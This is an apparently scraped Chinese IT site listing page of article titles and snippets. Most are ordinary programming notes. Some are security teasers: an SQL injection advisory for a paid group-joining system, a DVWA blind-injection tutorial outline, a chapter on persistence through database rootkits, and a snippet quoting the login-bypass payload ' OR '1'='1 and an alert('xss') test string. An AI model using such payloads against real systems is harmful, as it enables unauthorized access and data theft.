<a class="tag" taget="_blank" href="/search/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0v1/1.htm">漏洞复现v1</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a>
                        <div>0x01产品简介九块九付费进群系统是一种新的社群管理方式,用户通过支付9.9元人民币即可加入特定的微信群,享受群内提供的服务或资源。这种模式通常用于知识分享、资源下载、专业交流等社群,通过设置门槛来筛选成员,提高群组的专业性和互动质量。0x02漏洞概述九块九付费进群系统wxselect接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码</div>
                    </li>
                    <li><a href="/article/1946432026580152320.htm"
                           title="3步搞定Java漏洞修复?别再让黑客当“家”!" target="_blank">3步搞定Java漏洞修复?别再让黑客当“家”!</a>
                        <span class="text-muted"></span>

                        <div>关注墨瑾轩,带你探索编程的奥秘!超萌技术攻略,轻松晋级编程高手技术宝库已备好,就等你来挖掘订阅墨瑾轩,智趣学习不孤单即刻启航,编程之旅更有趣Java城堡的“裂缝”与程序员的救赎想象一下:你的Java应用是一座巍峨的城堡,而安全漏洞就是那些悄悄蔓延的裂缝。SQL注入:像是小偷从窗户溜进来,偷偷改写数据库的账本。XSS攻击:像在城堡里偷偷放了一张带毒的地毯,路过的人会被“刺”伤。SSRF漏洞:像让城堡</div>
                    </li>
                    <li><a href="/article/1943739116868923392.htm"
                           title="SQL注入与防御-第六章-3:利用操作系统--巩固访问" target="_blank">SQL注入与防御-第六章-3:利用操作系统--巩固访问</a>
                        <span class="text-muted"></span>

                        <div>一、核心逻辑与价值“巩固访问”是SQL注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如“数据库rootkit”)、利用系统组件(如SQLServerSOAP端点),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。二、技术实现与典型场景(一)数据库Rootkit植入(以Oracle为例)1.原理通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统R</div>
                    </li>
                    <li><a href="/article/1943666130308624384.htm"
                           title="【DVWA系列】——SQL注入(时间盲注)详细教程" target="_blank">【DVWA系列】——SQL注入(时间盲注)详细教程</a>
                        <span class="text-muted">一只枷锁</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E9%9D%B6%E5%9C%BA%E7%BB%83%E4%B9%A0/1.htm">靶场练习</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>本文仅用于技术研究,禁止用于非法用途。Author:枷锁文章目录一、时间盲注核心原理二、手工注入步骤(附Payload)1.判断注入类型(字符型/数字型)2.猜解数据库名长度3.逐字符猜解数据库名4.猜解表名5.提取关键数据(以admin密码为例)三、自动化工具(sqlmap)1.基础命令2.常用操作四、防御措施分析(Low级别漏洞根源)总结:攻击链与技巧本文环境SecurityLevel:low</div>
                    </li>
                    <li><a href="/article/1943314031485972480.htm"
                           title="2025年渗透测试面试题总结-2025年HW(护网面试) 40(题目+回答)" target="_blank">2025年渗透测试面试题总结-2025年HW(护网面试) 40(题目+回答)</a>
                        <span class="text-muted"></span>

                        <div>安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。目录2025年HW(护网面试)401.SQL注入读写文件/二次注入/防御2.XSS类型及防御3.CSRF与XSS区别4.文件上传绕过与防御5.服务器解析漏洞6.XXE与SSRF7.RCE与PHP函数区别8.Python迭代器与装饰器9.缓冲区溢出原理/防御10.内网渗透经验1</div>
                    </li>
                    <li><a href="/article/1943221759343915008.htm"
                           title="从0到1:SQL注入与XSS攻防实战——数据库安全加固全攻略" target="_blank">从0到1:SQL注入与XSS攻防实战——数据库安全加固全攻略</a>
                        <span class="text-muted">小张在编程</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/xss/1.htm">xss</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>引言2023年某电商平台用户数据泄露事件中,黑客仅用一行username='OR'1'='1的登录输入,就拖走了百万用户信息;另一家社交网站更离谱,用户在评论区输入alert('xss'),竟让千万级用户的浏览器成了“提线木偶”。这些看似简单的攻击,为何能撕开企业安全防线?今天我们就来拆解SQL注入与XSS的“作案手法”,并给出一套可落地的数据库安全加固方案——毕竟,防住这两类攻击,能解决80%的</div>
                    </li>
                    <li><a href="/article/1943009974405885952.htm"
                           title="DVWA靶场-SQL Injection (Blind)SQL注入盲注" target="_blank">DVWA靶场-SQL Injection (Blind)SQL注入盲注</a>
                        <span class="text-muted">mlws1900</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/dvwa/1.htm">dvwa</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/dvwa/1.htm">dvwa</a>
                        <div>概念SQLInjection(Blind),即SQL盲注;注入:可以查看到详细内容;盲注:目标只会回复是或不是,没有详细内容;盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。类型基于布尔值的盲注;基于时间的盲注;基于报错的盲注;基于布尔值的盲注基于布</div>
                    </li>
                    <li><a href="/article/1943000145847185408.htm"
                           title="ORM框架实战:MyBatis与JPA深度对比及企业级开发全攻略(终极优化版)" target="_blank">ORM框架实战:MyBatis与JPA深度对比及企业级开发全攻略(终极优化版)</a>
                        <span class="text-muted">Android洋芋</span>
<a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ORM%E6%A1%86%E6%9E%B6/1.htm">ORM框架</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BC%98%E5%8C%96/1.htm">数据库优化</a>
                        <div>一、ORM框架技术演进与选型策略1.1ORM框架的演进史JDBC时代:手动管理连接池、事务、SQL注入风险。Hibernate/JPA:2006年JPA标准化,推动ORM框架自动化。MyBatis:2010年诞生,强调SQL控制权,解决Hibernate“过度自动化”问题。2020年后趋势:MyBatis-Plus:提供Lambda表达式、自动分页等功能。SpringDataJPA:通过方法名自动</div>
                    </li>
                                <li><a href="/article/77.htm"
                                       title="算法 单链的创建与删除" target="_blank">算法 单链的创建与删除</a>
                                    <span class="text-muted">换个号韩国红果果</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a>
                                    <div>
先创建结构体
struct student {
	int data;
	//int tag;//标记这是第几个
	struct student *next;
};
//  addone 用于将一个数插入已从小到大排好序的链中
struct student *addone(struct student *h,int x){
		if(h==NULL)  //??????
			</div>
                                </li>
                                <li><a href="/article/204.htm"
                                       title="《大型网站系统与Java中间件实践》第2章读后感" target="_blank">《大型网站系统与Java中间件实践》第2章读后感</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/java%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">java中间件</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;断断续续花了两天时间试读了《大型网站系统与Java中间件实践》的第2章,这章总述了从一个小型单机构建的网站发展到大型网站的演化过程---整个过程会遇到很多困难,但每一个屏障都会有解决方案,最终就是依靠这些个解决方案汇聚到一起组成了一个健壮稳定高效的大型系统。 
&nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp;看完整章内容,</div>
                                </li>
                                <li><a href="/article/331.htm"
                                       title="zeus持久层spring事务单元测试" target="_blank">zeus持久层spring事务单元测试</a>
                                    <span class="text-muted">deng520159</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/jdbc/1.htm">jdbc</a>
                                    <div>今天把zeus事务单元测试放出来,让大家指出他的毛病, 
1.ZeusTransactionTest.java 单元测试 
&nbsp; 
package com.dengliang.zeus.webdemo.test;

import java.util.ArrayList;
import java.util.List;

import org.junit.Test;
import </div>
                                </li>
                                <li><a href="/article/458.htm"
                                       title="Rss 订阅 开发" target="_blank">Rss 订阅 开发</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/%E8%AE%A2%E9%98%85/1.htm">订阅</a><a class="tag" taget="_blank" href="/search/rss/1.htm">rss</a><a class="tag" taget="_blank" href="/search/%E8%A7%84%E8%8C%83/1.htm">规范</a>
                                    <div>&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSS是 Really Simple Syndication的缩写(对rss2.0而言,是这三个词的缩写,对rss1.0而言则是RDF Site Summary的缩写,1.0与2.0走的是两个体系)。 
&nbsp; 
RSS</div>
                                </li>
                                <li><a href="/article/585.htm"
                                       title="分页查询实现" target="_blank">分页查询实现</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/%E5%88%86%E9%A1%B5%E6%9F%A5%E8%AF%A2/1.htm">分页查询</a>
                                    <div>在查询列表时我们常常会用到分页,分页的好处就是减少数据交换,每次查询一定数量减少数据库压力等等。 
按实现形式分前台分页和服务器分页: 
前台分页就是一次查询出所有记录,在页面中用js进行虚拟分页,这种形式在数据量较小时优势比较明显,一次加载就不必再访问服务器了,但当数据量较大时会对页面造成压力,传输速度也会大幅下降。 
服务器分页就是每次请求相同数量记录,按一定规则排序,每次取一定序号直接的数据</div>
                                </li>
                                <li><a href="/article/712.htm"
                                       title="spring jms异步消息处理" target="_blank">spring jms异步消息处理</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/jms/1.htm">jms</a>
                                    <div>spring JMS对于异步消息处理基本上只需配置下就能进行高效的处理。其核心就是消息侦听器容器,常用的类就是DefaultMessageListenerContainer。该容器可配置侦听器的并发数量,以及配合MessageListenerAdapter使用消息驱动POJO进行消息处理。且消息驱动POJO是放入TaskExecutor中进行处理,进一步提高性能,减少侦听器的阻塞。具体配置如下: </div>
                                </li>
                                <li><a href="/article/839.htm"
                                       title="highCharts柱状图" target="_blank">highCharts柱状图</a>
                                    <span class="text-muted">布衣凌宇</span>
<a class="tag" taget="_blank" href="/search/hightCharts/1.htm">hightCharts</a><a class="tag" taget="_blank" href="/search/%E6%9F%B1%E5%9B%BE/1.htm">柱图</a>
                                    <div>第一步:导入 exporting.js,grid.js,highcharts.js;第二步:写controller 
&nbsp; 
@Controller@RequestMapping(value=&quot;${adminPath}/statistick&quot;)public class StatistickController {&nbsp;&nbsp;private UserServi</div>
                                </li>
                                <li><a href="/article/966.htm"
                                       title="我的spring学习笔记2-IoC(反向控制 依赖注入)" target="_blank">我的spring学习笔记2-IoC(反向控制 依赖注入)</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a><a class="tag" taget="_blank" href="/search/Spring+%E6%95%99%E7%A8%8B/1.htm">Spring 教程</a><a class="tag" taget="_blank" href="/search/spring3+%E6%95%99%E7%A8%8B/1.htm">spring3 教程</a><a class="tag" taget="_blank" href="/search/Spring+%E5%85%A5%E9%97%A8/1.htm">Spring 入门</a>
                                    <div>IoC(反向控制 依赖注入)这是Spring提出来了,这也是Spring一大特色。这里我不用多说,我们看Spring教程就可以了解。当然我们不用Spring也可以用IoC,下面我将介绍不用Spring的IoC。 
IoC不是框架,她是java的技术,如今大多数轻量级的容器都会用到IoC技术。这里我就用一个例子来说明: 
如:程序中有 Mysql.calss 、Oracle.class 、SqlSe</div>
                                </li>
                                <li><a href="/article/1093.htm"
                                       title="TLS java简单实现" target="_blank">TLS java简单实现</a>
                                    <span class="text-muted">antlove</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a><a class="tag" taget="_blank" href="/search/keystore/1.htm">keystore</a><a class="tag" taget="_blank" href="/search/tls/1.htm">tls</a><a class="tag" taget="_blank" href="/search/secure/1.htm">secure</a>
                                    <div>&nbsp; 
1. SSLServer.java 
package ssl;

import java.io.FileInputStream;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.KeyStore;
import </div>
                                </li>
                                <li><a href="/article/1220.htm"
                                       title="Zip解压压缩文件" target="_blank">Zip解压压缩文件</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/Zip%E6%A0%BC%E5%BC%8F%E8%A7%A3%E5%8E%8B/1.htm">Zip格式解压</a><a class="tag" taget="_blank" href="/search/Zip%E6%B5%81%E7%9A%84%E4%BD%BF%E7%94%A8/1.htm">Zip流的使用</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E8%A7%A3%E5%8E%8B/1.htm">文件解压</a>
                                    <div>&nbsp; 
&nbsp;ZIP文件的解压缩实质上就是从输入流中读取数据。Java.util.zip包提供了类ZipInputStream来读取ZIP文件,下面的代码段创建了一个输入流来读取ZIP格式的文件; 
ZipInputStream in = new ZipInputStream(new FileInputStream(zipFileName)); 
&nbsp; 
&nbsp; 
&n</div>
                                </li>
                                <li><a href="/article/1347.htm"
                                       title="underscore.js 学习(一)" target="_blank">underscore.js 学习(一)</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/underscore/1.htm">underscore</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 工作中需要用到underscore.js,发现这是一个包括了很多基本功能函数的js库,里面有很多实用的函数。而且它没有扩展 javascript的原生对象。主要涉及对Collection、Object、Array、Function的操作。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 学</div>
                                </li>
                                <li><a href="/article/1474.htm"
                                       title="java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon)" target="_blank">java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon)</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/jstatd/1.htm">jstatd</a>
                                    <div>1.介绍 
&nbsp; &nbsp; &nbsp; &nbsp; jstatd是一个基于RMI(Remove Method Invocation)的服务程序,它用于监控基于HotSpot的JVM中资源的创建及销毁,并且提供了一个远程接口允许远程的监控工具连接到本地的JVM执行命令。 
&nbsp; &nbsp; &nbsp; &nbsp; jstatd是基于RMI的,所以在运行jstatd的服务</div>
                                </li>
                                <li><a href="/article/1601.htm"
                                       title="【Spring框架三】Spring常用注解之Transactional" target="_blank">【Spring框架三】Spring常用注解之Transactional</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/transactional/1.htm">transactional</a>
                                    <div>Spring可以通过注解@Transactional来为业务逻辑层的方法(调用DAO完成持久化动作)添加事务能力,如下是@Transactional注解的定义: 
&nbsp; 
/*
 * Copyright 2002-2010 the original author or authors.
 *
 * Licensed under the Apache License, Version </div>
                                </li>
                                <li><a href="/article/1728.htm"
                                       title="我(程序员)的前进方向" target="_blank">我(程序员)的前进方向</a>
                                    <span class="text-muted">bitray</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a>
                                    <div>作为一个普通的程序员,我一直游走在java语言中,java也确实让我有了很多的体会.不过随着学习的深入,java语言的新技术产生的越来越多,从最初期的javase,我逐渐开始转变到ssh,ssi,这种主流的码农,.过了几天为了解决新问题,webservice的大旗也被我祭出来了,又过了些日子jms架构的activemq也开始必须学习了.再后来开始了一系列技术学习,osgi,restful.....</div>
                                </li>
                                <li><a href="/article/1855.htm"
                                       title="nginx lua开发经验总结" target="_blank">nginx lua开发经验总结</a>
                                    <span class="text-muted">ronin47</span>

                                    <div>使用nginx lua已经两三个月了,项目接开发完毕了,这几天准备上线并且跟高德地图对接。回顾下来lua在项目中占得必中还是比较大的,跟PHP的占比差不多持平了,因此在开发中遇到一些问题备忘一下  1:content_by_lua中代码容量有限制,一般不要写太多代码,正常编写代码一般在100行左右(具体容量没有细心测哈哈,在4kb左右),如果超出了则重启nginx的时候会报 too long pa</div>
                                </li>
                                <li><a href="/article/1982.htm"
                                       title="java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。颠倒之后的栈为{5,4,3,2,1},5处在栈顶" target="_blank">java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。颠倒之后的栈为{5,4,3,2,1},5处在栈顶</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
import java.util.Stack;

public class ReverseStackRecursive {

	/**
	 * Q 66.颠倒栈。
	 * 题目:用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。
	 * 颠倒之后的栈为{5,4,3,2,1},5处在栈顶。
	 *1. Pop the top element
	 *2. Revers</div>
                                </li>
                                <li><a href="/article/2109.htm"
                                       title="正确理解Linux内存占用过高的问题" target="_blank">正确理解Linux内存占用过高的问题</a>
                                    <span class="text-muted">cfyme</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                                    <div>Linux开机后,使用top命令查看,4G物理内存发现已使用的多大3.2G,占用率高达80%以上: 
Mem:&nbsp;&nbsp; 3889836k total,&nbsp;&nbsp;3341868k&nbsp;used,&nbsp;&nbsp; 547968k free,&nbsp;&nbsp; 286044k buffers 
Swap:&nbsp; 6127608k total,&nb</div>
                                </li>
                                <li><a href="/article/2236.htm"
                                       title="[JWFD开源工作流]当前流程引擎设计的一个急需解决的问题" target="_blank">[JWFD开源工作流]当前流程引擎设计的一个急需解决的问题</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C%E6%B5%81/1.htm">工作流</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp; 当我们的流程引擎进入IRC阶段的时候,当循环反馈模型出现之后,每次循环都会导致一大堆节点内存数据残留在系统内存中,循环的次数越多,这些残留数据将导致系统内存溢出,并使得引擎崩溃。。。。。。 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 而解决办法就是利用汇编语言或者其它系统编程语言,在引擎运行时,把这些残留数据清除掉。</div>
                                </li>
                                <li><a href="/article/2363.htm"
                                       title="自定义类的equals函数" target="_blank">自定义类的equals函数</a>
                                    <span class="text-muted">dai_lm</span>
<a class="tag" taget="_blank" href="/search/equals/1.htm">equals</a>
                                    <div>仅作笔记使用 
 

public class VectorQueue {

	private final Vector&lt;VectorItem&gt; queue;

	private class VectorItem {
		private final Object item;
		private final int quantity;

		public VectorI</div>
                                </li>
                                <li><a href="/article/2490.htm"
                                       title="Linux下安装R语言" target="_blank">Linux下安装R语言</a>
                                    <span class="text-muted">datageek</span>
<a class="tag" taget="_blank" href="/search/R%E8%AF%AD%E8%A8%80+linux/1.htm">R语言 linux</a>
                                    <div>命令如下:sudo gedit &nbsp;/etc/apt/sources.list1、deb http://mirrors.ustc.edu.cn/CRAN/bin/linux/ubuntu/ precise/&nbsp;2、deb http://dk.archive.ubuntu.com/ubuntu hardy universesudo apt-key adv --keyserver ke</div>
                                </li>
                                <li><a href="/article/2617.htm"
                                       title="如何修改mysql 并发数(连接数)最大值" target="_blank">如何修改mysql 并发数(连接数)最大值</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>MySQL的连接数最大值跟MySQL没关系,主要看系统和业务逻辑了 
&nbsp; 
方法一:进入MYSQL安装目录 打开MYSQL配置文件 my.ini 或 my.cnf查找 max_connections=100 修改为 max_connections=1000 服务里重起MYSQL即可 
  方法二:MySQL的最大连接数默认是100客户端登录:mysql -uusername -ppass</div>
                                </li>
                                <li><a href="/article/2744.htm"
                                       title="单一功能原则" target="_blank">单一功能原则</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/1.htm">面向对象的程序设计</a><a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E8%AE%BE%E8%AE%A1/1.htm">软件设计</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E5%8E%9F%E5%88%99/1.htm">编程原则</a>
                                    <div>单一功能原则[
编辑]    &nbsp;   &nbsp;   
SOLID    原则    
 
 单一功能原则 
 开闭原则 
 Liskov代换原则 
 接口隔离原则 
 依赖反转原则 
      
 
 查 &nbsp; 
 论 &nbsp; 
 编 
      
在面向对象编程领域中,单一功能原则(Single responsibility principle)规定每个类都应该有</div>
                                </li>
                                <li><a href="/article/2871.htm"
                                       title="POJO、VO和JavaBean区别和联系" target="_blank">POJO、VO和JavaBean区别和联系</a>
                                    <span class="text-muted">fanmingxing</span>
<a class="tag" taget="_blank" href="/search/VO/1.htm">VO</a><a class="tag" taget="_blank" href="/search/POJO/1.htm">POJO</a><a class="tag" taget="_blank" href="/search/javabean/1.htm">javabean</a>
                                    <div>POJO和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Plain Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比POJO复杂很多,JavaBean是一种组件技术,就好像你做了一个扳子,而这个扳子会在很多地方被</div>
                                </li>
                                <li><a href="/article/2998.htm"
                                       title="SpringSecurity3.X--LDAP:AD配置" target="_blank">SpringSecurity3.X--LDAP:AD配置</a>
                                    <span class="text-muted">hanqunfeng</span>
<a class="tag" taget="_blank" href="/search/SpringSecurity/1.htm">SpringSecurity</a>
                                    <div>前面介绍过基于本地数据库验证的方式,参考http://hanqunfeng.iteye.com/blog/1155226,这里说一下如何修改为使用AD进行身份验证【只对用户名和密码进行验证,权限依旧存储在本地数据库中】。 
&nbsp; 
将配置文件中的如下部分删除: 
  &lt;!-- 认证管理器,使用自定义的UserDetailsService,并对密码采用md5加密--&gt;  
  </div>
                                </li>
                                <li><a href="/article/3125.htm"
                                       title="mac mysql 修改密码" target="_blank">mac mysql 修改密码</a>
                                    <span class="text-muted">IXHONG</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>$ sudo /usr/local/mysql/bin/mysqld_safe –user=root &amp; //启动MySQL(也可以通过偏好设置面板来启动)$ sudo /usr/local/mysql/bin/mysqladmin -uroot password yourpassword //设置MySQL密码(注意,这是第一次MySQL密码为空的时候的设置命令,如果是修改密码,还需在-</div>
                                </li>
                                <li><a href="/article/3252.htm"
                                       title="设计模式--抽象工厂模式" target="_blank">设计模式--抽象工厂模式</a>
                                    <span class="text-muted">kerryg</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>抽象工厂模式: 
 
&nbsp;&nbsp;&nbsp; 工厂模式有一个问题就是,类的创建依赖于工厂类,也就是说,如果想要拓展程序,必须对工厂类进行修改,这违背了闭包原则。我们采用抽象工厂模式,创建多个工厂类,这样一旦需要增加新的功能,直接增加新的工厂类就可以了,不需要修改之前的代码。 
 
&nbsp;&nbsp;&nbsp; 总结:这个模式的好处就是,如果想增加一个功能,就需要做一个实现类,</div>
                                </li>
                                <li><a href="/article/3379.htm"
                                       title="评"高中女生军训期跳楼”" target="_blank">评"高中女生军训期跳楼”</a>
                                    <span class="text-muted">nannan408</span>

                                    <div>&nbsp;&nbsp; 首先,先抛出我的观点,各位看官少点砖头。那就是,中国的差异化教育必须做起来。 
&nbsp;&nbsp; 孔圣人有云:有教无类。不同类型的人,都应该有对应的教育方法。目前中国的一体化教育,不知道已经扼杀了多少创造性人才。我们出不了爱迪生,出不了爱因斯坦,很大原因,是我们的培养思路错了,我们是第一要“顺从”。如果不顺从,我们的学校,就会用各种方法,罚站,罚写作业,各种罚。军</div>
                                </li>
                                <li><a href="/article/3506.htm"
                                       title="scala如何读取和写入文件内容?" target="_blank">scala如何读取和写入文件内容?</a>
                                    <span class="text-muted">qindongliang1922</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>直接看如下代码: 
 
package file

import java.io.RandomAccessFile
import java.nio.charset.Charset

import scala.io.Source
import scala.reflect.io.{File, Path}

/**
 * Created by qindongliang on 2015/</div>
                                </li>
                                <li><a href="/article/3633.htm"
                                       title="C语言算法之百元买百鸡" target="_blank">C语言算法之百元买百鸡</a>
                                    <span class="text-muted">qiufeihu</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a>
                                    <div>中国古代数学家张丘建在他的《算经》中提出了一个著名的“百钱买百鸡问题”,鸡翁一,值钱五,鸡母一,值钱三,鸡雏三,值钱一,百钱买百鸡,问翁,母,雏各几何? 
代码如下: 
#include &lt;stdio.h&gt;
int main()
{
	int cock,hen,chick;                               /*定义变量为基本整型*/
	for(coc</div>
                                </li>
                                <li><a href="/article/3760.htm"
                                       title="Hadoop集群安全性:Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode" target="_blank">Hadoop集群安全性:Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode</a>
                                    <span class="text-muted">wyz2009107220</span>
<a class="tag" taget="_blank" href="/search/NameNode/1.htm">NameNode</a>
                                    <div>正如大家所知,NameNode在Hadoop系统中存在单点故障问题,这个对于标榜高可用性的Hadoop来说一直是个软肋。本文讨论一下为了解决这个问题而存在的几个solution。 
1. Secondary NameNode 
原理:Secondary NN会定期的从NN中读取editlog,与自己存储的Image进行合并形成新的metadata image 
优点:Hadoop较早的版本都自带,</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
